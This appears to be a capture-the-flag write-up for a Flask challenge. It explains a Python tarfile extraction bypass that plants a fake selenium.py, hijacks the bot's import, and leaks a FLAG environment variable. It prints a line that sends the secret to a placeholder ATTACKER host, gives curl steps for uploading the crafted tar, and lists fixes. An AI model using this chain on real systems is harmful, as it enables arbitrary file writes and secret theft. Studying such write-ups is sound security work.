notes / writeup
LighterTotal CTF Writeup
LighterTotal is a Flask web application that pretends to be a lightweight VirusTotal clone. It has two main features:
Challenge Overview
LighterTotal is a Flask web application that pretends to be a lightweight VirusTotal clone. It has two main features:
1. Upload a file to /scan and let the backend “scan” it. 2. Submit an HTML report to /submit-report, after which a Selenium bot reviews the report.
The flag is not stored in a file exposed by the web app. Instead, it is placed in the bot process environment and later added as a browser cookie.
The final exploit abuses a Python tarfile extraction bypass to write a malicious Python module into /app/selenium.py. When the bot later runs, Python imports our fake selenium.py instead of the real Selenium package, allowing us to read FLAG from the environment and exfiltrate it.
---
Codebase Walkthrough
app.py
The Flask application starts by creating two directories:
UPLOAD_DIR = "upload"
REPORT_DIR = "report"
os.makedirs(UPLOAD_DIR, exist_ok=True)
os.makedirs(REPORT_DIR, exist_ok=True)
upload/ stores uploaded files. report/ stores user-submitted reports.
file_handler = MultiFileHandler(upload_dir=UPLOAD_DIR)
This initializes the scanner logic from multi.py.
The /scan GET route only renders the upload page:
@app.route('/scan', methods=['GET'])
def scan_page():
return render_template('scan.html')
The interesting route is /scan POST:
@app.route('/scan', methods=['POST'])
def scan_file():
It expects a file from the request:
if 'file' not in request.files:
return jsonify({"error": "No file part in the request"}), 400
Then it sanitizes the filename:
sanitized_filename = file_handler._sanitize_filename(file.filename)
file_path = os.path.join(UPLOAD_DIR, sanitized_filename)
The file is saved into upload/:
file.save(file_path)
Then the backend scanner processes it:
scan_results = file_handler.process_uploaded_files([file_path])
This is the entry point to the vulnerable tar extraction logic.
The report feature starts here:
@app.route('/submit-report', methods=['POST'])
def submit_report():
It accepts JSON containing a note field:
data = request.get_json()
if not data or 'note' not in data:
return jsonify({"error": "No report provided"}), 400
The note is sanitized with Bleach:
cleaned_note = bleach.clean(data['note'])
This prevents normal stored XSS because tags like <script> and event handlers are removed or escaped.
A random report filename is created:
note_id = str(random.getrandbits(32))
filename = f"report_{note_id}.html"
The sanitized report is written to disk:
with open(filepath, 'a', encoding='utf-8') as f:
f.write(cleaned_note)
Finally, the app launches the bot:
subprocess.run(["python3", "bot.py", url], check=True)
This is very important: the bot is executed as a new Python process from /app.
---
bot.py
The bot imports Selenium:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
This import becomes exploitable later. Since the bot runs from /app, Python checks /app before checking installed packages. If we can create /app/selenium.py, the bot imports our file instead of the real Selenium package.
The bot opens the submitted report:
driver.get(url)
Then it adds the flag as a browser cookie:
driver.add_cookie({
"name": "FLAG",
"value": os.environ.get("FLAG", None),
"path": "/",
"httponly": False,
"secure": False
})
The flag comes from the environment variable FLAG.
The cookie is not HttpOnly, so a working XSS could read it with document.cookie. However, Bleach makes the direct XSS route difficult.
---
multi.py
The upload scanner allows archives:
ALLOWED_EXTENSIONS = {
...
'tar', 'tar.gz', 'tgz', 'zip'
}
The tar extraction function is:
def _extract_tar(self, tar_path: str, extract_to: str) -> List[str]:
It opens the tar file:
with tarfile.open(tar_path, 'r:*') as tar:
Then extracts it:
tar.extractall(path=extract_to, filter="data")
The developer tried to use Python’s safer filter="data" extraction mode. Normally this blocks path traversal like ../../app/selenium.py.
After extraction, the app walks the extracted files and validates them:
for root, dirs, files in os.walk(extract_to):
But the dangerous part has already happened. The archive is extracted before the scanner validates the final files.
In process_uploaded_files, tar files are extracted if the original uploaded archive is considered clean:
if file_ext in ['.tar', '.gz', '.tgz'] and status == 'CLEAN':
extract_dir = Path('upload')
extracted = self._extract_tar(file_path, str(extract_dir))
So the exploit only needs to make a tar file that passes the scanner checks.
---
Vulnerability
The core vulnerability is unsafe archive extraction.
Even though the code uses:
tar.extractall(path=extract_to, filter="data")
the Docker image uses Python 3.13.3, which is affected by known tarfile filter bypass techniques involving long symlink paths / PATH_MAX behavior.
The result is an arbitrary file write primitive outside /app/upload.
The intended safe boundary is:
/app/upload/
But the exploit writes:
/app/selenium.py
---
Exploit Idea
The bot later executes:
python3 bot.py <report_url>
Because the working directory is /app, Python’s import order includes /app before site-packages.
So this line in bot.py:
from selenium import webdriver
can be hijacked by creating:
/app/selenium.py
Our fake selenium.py runs immediately during import.
The malicious module reads the flag:
flag = os.environ.get("FLAG", "")
Then sends it to an attacker-controlled HTTP listener:
urllib.request.urlopen("http://ATTACKER/leak?flag=" + urllib.parse.quote(flag))
After that, it exits cleanly:
raise SystemExit(0)
Because exit code 0 does not fail subprocess.run(..., check=True), /submit-report still returns success.
---
Local Exploit Steps
Start a listener:
cd /private/tmp
python3 -m http.server 8000
Build and run the challenge locally:
cd "/Users/thinh/Documents/bkics/Lighter Total /web-lighter-total"
docker build -t lighter-total-ctf .
docker run --rm \
-p 5000:5000 \
-v /private/tmp/lighter_total_bot_local.py:/app/bot.py:ro \
--name lighter-total-ctf-run \
lighter-total-ctf
Generate the malicious tar:
python3 /private/tmp/make_lightertotal_tar_escape.py
Upload it:
curl -sS \
-F 'file=@/private/tmp/lightertotal_escape.tar;filename=lightertotal_escape.tar' \
http://127.0.0.1:5000/scan
Trigger the bot:
curl -sS -X POST http://127.0.0.1:5000/submit-report \
-H 'Content-Type: application/json' \
--data '{"note":"trigger bot"}'
The listener receives:
GET /leak?flag=SECRET HTTP/1.1
On the real remote target, replace the callback URL with a public webhook or VPS listener.
---
Impact
This is more powerful than XSS. The attacker gets code execution during Python import inside the bot process.
Since the bot process has access to:
os.environ["FLAG"]
the attacker can directly leak the flag without needing browser JavaScript.
---
Fixes
Do not extract user-controlled archives directly into application directories.
Use a temporary isolated directory:
tempfile.TemporaryDirectory()
Reject symlinks and hardlinks entirely before extraction.
Avoid extractall() for untrusted archives. Instead, iterate members manually and copy regular files only after strict path validation.
Upgrade Python to a version where the relevant tarfile filter bypass is patched.
Run the bot from a directory that attackers cannot write to, and avoid import hijacking by using isolated environments or absolute module paths.
Do not expose secrets like FLAG to child processes unless absolutely necessary.
---
Final Flag
Local test flag:
SECRET
On the remote challenge, the same chain leaks the real FLAG value.
References you can cite:
- Python tarfile docs: https://docs.python.org/3/library/tarfile.html
- PATH_MAX tarfile bypass PoC: https://github.com/0xDTC/CVE-2025-4517-tarfile-PATH_MAX-bypass